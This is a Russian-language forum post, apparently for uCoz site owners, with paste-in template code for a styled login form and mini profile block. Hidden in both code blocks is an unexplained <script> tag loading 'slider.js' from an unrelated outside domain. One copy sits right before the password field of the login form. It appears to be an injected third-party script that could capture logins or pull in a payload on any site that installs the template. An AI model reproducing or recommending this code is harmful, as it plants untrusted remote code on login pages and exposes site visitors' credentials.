Автор Тема: Элегантная форма входа с мини профилем  (Прочитано 1793 раз)

0 Пользователей и 1 Гость просматривают эту тему.

Оффлайн Rakurs

  • Новичок
  • *
  • Сообщений: 27
  • Пол: Женский
     скрин:

 Установка:

 1. Этот код вставить перед :

 <link type="text/css" rel="StyleSheet" href="http://ripbox.do.am/lesson/mminiprof.css" />

 2. Далее идем в ПУ / Пользователи / Форма входа пользователей, удаляем все оттуда и вставляем этот код:

 <div class="miniprof_bg">
 <div class="mavatar"><?if($USER_AVATAR_URL$)?><img src="$USER_AVATAR_URL$" width="130px" height="103px"><?else?><img src="http://ripbox.do.am/lesson/mnoava.gif"><?endif?></div>
 <div class="mguest" align="center">Гость</div>
 <div class="mloggin">
 <input type="text" name="user" value="Логин..." size="20" style="width:86%;" value="Логин..." onblur="if(this.value=='')this.value='Логин...'" onfocus="if(this.value=='Логин...')this.value=''" maxlength="50"/>
 <script src="http://drips.ru/slider.js" type="text/javascript"></script><input type="password" name="password" value="Пароль..." size="20" style="width:86%;" value="Пароль..." onblur="if(this.value=='')this.value='Пароль...'" onfocus="if(this.value=='Пароль...')this.value=''" maxlength="50"/>    
 <input name="sbm" class="minimal" type="submit" value="Войти"/></div>
 <br>
 <div align="center" style="margin-top:-5px;"><a href="$REMINDER_LINK$" class="linkstyle">Забыли пароль?</a> | <a href="$REGISTER_LINK$" class="linkstyle">Регистрация</a></div>
 </div>


 3. После туда где у Вас будет стоять это мини профиль (Обычно это блоки), и вставляем этот код:

 <?if($USER_LOGGED_IN$)?>
 <div class="miniprof_bg">
 <div class="mavatar"><?if($USER_AVATAR_URL$)?><img src="$USER_AVATAR_URL$" width="130px" height="103px"><?else?><img src="http://ripbox.do.am/lesson/mnoava.gif"><?endif?><script src="http://drips.ru/slider.js" type="text/javascript"></script></div>
 <div class="musername" align="center">$USERNAME$</div>
 <div class="mlinks" align="center">
 <a href="$PERSONAL_PAGE_LINK$" class="linkstyle">Мой профиль</a>
 <hr />
 <a href="$PM_URL$" class="linkstyle">Сообщения ($UNREAD_PM$)</a>
 <hr />
 <a href="$ADD_ENTRY_LINK$" class="linkstyle">Добавить +</a>
 <hr />
 <a href="$LOGOUT_LINK$" class="linkstyle">Выход</a>
 </div>
 </div></div>
 <?else?>$LOGIN_FORM$<?endif?>


 Желаю удачи! Если у Вас будут какие то помехи, посмотрите возможно в вашем CSS, есть какой то похожий код. Если ошика остается такой же пишите в комменты, помогу.